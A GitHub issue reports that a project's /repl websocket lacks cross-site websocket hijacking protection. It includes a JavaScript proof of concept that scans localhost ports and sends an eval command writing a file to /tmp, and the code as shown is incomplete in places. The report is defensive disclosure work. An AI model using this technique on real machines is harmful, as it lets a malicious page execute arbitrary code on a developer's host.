New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The websocket is not protected against CSRF #254

atx opened this Issue Mar 30, 2016 · 0 comments


None yet
1 participant
Copy link

atx commented Mar 30, 2016

The websocket at /repl does not seem to be protected against CSRF (or, CSWSH as some like to call it). This allows a malicious website to execute arbitrary code on the host.


var ports = [];
var done = false;

for (var i = 10000; i < 65535; i++) {

function spawn() {
    if (done || ports.length < 1)
    var port = ports.pop();
    var ws = new WebSocket("ws://localhost:" + port + "/repl");
    ws.onerror = spawn;
    ws.onopen = function() {
        done = true;
        ws.send(JSON.stringify({"op": "eval", "code": "(spit \"/tmp/file\" \"evil!\")" }))

for (var i = 0; i < 200; i++) {

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment